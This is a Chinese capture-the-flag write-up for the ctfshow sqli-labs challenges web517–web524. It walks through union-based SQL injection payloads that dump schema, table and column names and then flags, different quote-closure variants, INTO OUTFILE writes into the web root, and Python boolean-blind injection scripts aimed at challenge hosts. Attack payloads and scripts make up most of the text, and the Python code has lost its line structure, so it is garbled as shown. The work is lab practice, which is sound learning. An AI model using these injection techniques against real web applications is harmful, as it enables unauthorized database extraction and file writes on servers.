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ctfshow web入门 sqli-labs web517--web524

news 2025/6/23 23:15:32

web517

在这里插入图片描述
注入点id
?id=-1’union select 1,2,3–+
确认是否能够注入

?id=-1'union select 1,database(),3--+
爆出库名
security

爆出表名
?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
emails,referers,uagents,users

在这里插入图片描述

然后发现这几个表里面没有flag，我们重新倒回去爆库名，肯定是库错了，因为我偷工减料了

?id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),3--+
flag?id=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag'),3--+
id,flag?id=-1' union select 1,id,flag from ctfshow.flag--+
我忘了这个东西就是我爆破出来的是列名，我在那里一直错哈哈被自己蠢死了
由于本身我们处于security库里面所以查询需要用ctfshow.flag

web518

单引号被过滤了好像是
表名变为flagaa

?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name="flagaa"),3--+
id,flagac?id=-1 union select 1,id,flagac from ctfshow.flagaa--+

web519

盲猜是一个md5闭合我没有跑fuzz，正常做法应该是跑个fuzz
所以我是自己慢慢试的

?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),3--+
flagaanec?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flagaanec'),3--+
id,flagaca?id=-1') union select 1,id,flagaca from ctfshow.flagaanec--+

web520

欧克换成")闭合

?id=-1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),3--+
flagsf?id=-1") union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flagsf'),3--+
id,flag23?id=-1") union select 1,id,flag23 from ctfshow.flagsf--+

web521

布尔盲注
不会的去我主页学，hhh

import requests
flag=""
i = 0
while True:i = i+1low = 32high =127while low < high:mid = (low+high)//2#url = f"http://bbd62807-74a1-427b-bdb6-13b06ba54c08.challenge.ctf.show/?id=1' and ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid} --+"#url = f"http://bbd62807-74a1-427b-bdb6-13b06ba54c08.challenge.ctf.show/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),{i},1))>{mid} --+"#url = f"http://bbd62807-74a1-427b-bdb6-13b06ba54c08.challenge.ctf.show/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagpuck'),{i},1))>{mid} --+"url = f"http://d3143244-6fab-4359-b663-ce8a0ad8d9b9.challenge.ctf.show/?id=1' and ascii(substr((select flag33 from ctfshow.flagpuck),{i},1))>{mid} --+"r=requests.get(url=url)if "You are in..........." in r.text:low = mid+1else:high = midif low !=32:flag+=chr(low)else:breakprint(flag)

web522

布尔盲注

import requestsflag=""
i = 0while True:i = i+1low = 32high =127while low < high:mid = (low+high)//2#url = f'https://cfa15b6d-99c6-4585-938d-e0376150cb96.challenge.ctf.show/?id=1" and ascii(substr((select group_concat(schema_name) from information_schema.schemata), {i}, 1)) > {mid} --+'#url = f'https://cfa15b6d-99c6-4585-938d-e0376150cb96.challenge.ctf.show/?id=1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"), {i}, 1)) > {mid} --+'#flagpa#url = f'https://cfa15b6d-99c6-4585-938d-e0376150cb96.challenge.ctf.show/?id=1" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagpa"), {i}, 1)) > {mid} --+'url = f'https://cfa15b6d-99c6-4585-938d-e0376150cb96.challenge.ctf.show/?id=1" and ascii(substr((select group_concat(id,flag3a3) from ctfshow.flagpa), {i}, 1)) > {mid} --+'r=requests.get(url=url)if "You are in..........." in r.text:low = mid+1else:high = midif low !=32:flag+=chr(low)else:breakprint(flag)

web523

闭合换了并且不是盲注

?id=1") union select 1,2,3--+
提示使用outfile?id=1") union select 1,(select group_concat(schema_name) from information_schema.schemata),3 into outfile "/var/www/html/2.txt"--+
结果没有
一直注入不上原来我闭合都错了但是居然也有回显
?id=1')) union select 1,2,3 into outfile "/var/www/html/5.txt"--+       成功
1	2	3
?id=1')) union select 1,(select group_concat(schema_name)from information_schema.schemata),3 into outfile "/var/www/html/7.txt"--+
1	ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test	3?id=1')) union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='ctfshow'),3 into outfile "/var/www/html/8.txt"--+
1	flagdk	3?id=1')) union select 1,(select group_concat(column_name)from information_schema.columns where table_name='flagdk'),3 into outfile "/var/www/html/6.txt"--+
1	id,flag43	3?id=1')) union select 1,(select group_concat(id,flag43)from ctfshow.flagdk),3 into outfile "/var/www/html/4.txt"--+

web524

布尔盲注

import requestsflag=""
i = 0while True:i = i+1low = 32high =127while low < high:mid = (low+high)//2#url = f"https://a63f32c8-fbaa-438b-bdf3-3b0bea1f7e35.challenge.ctf.show/?id=1' and ascii(substr((select group_concat(schema_name) from information_schema.schemata), {i}, 1)) > {mid} --+'"#url = f"https://a63f32c8-fbaa-438b-bdf3-3b0bea1f7e35.challenge.ctf.show/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'), {i}, 1)) > {mid} --+"#flagjugg# url = f"https://a63f32c8-fbaa-438b-bdf3-3b0bea1f7e35.challenge.ctf.show/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flagjugg'), {i}, 1)) > {mid} --+"# id, flag423url = f"https://a63f32c8-fbaa-438b-bdf3-3b0bea1f7e35.challenge.ctf.show/?id=1' and ascii(substr((select group_concat(id,flag423) from ctfshow.flagjugg), {i}, 1)) > {mid} --+"r=requests.get(url=url)if "You are in..........." in r.text:low = mid+1else:high = midif low !=32:flag+=chr(low)else:breakprint(flag)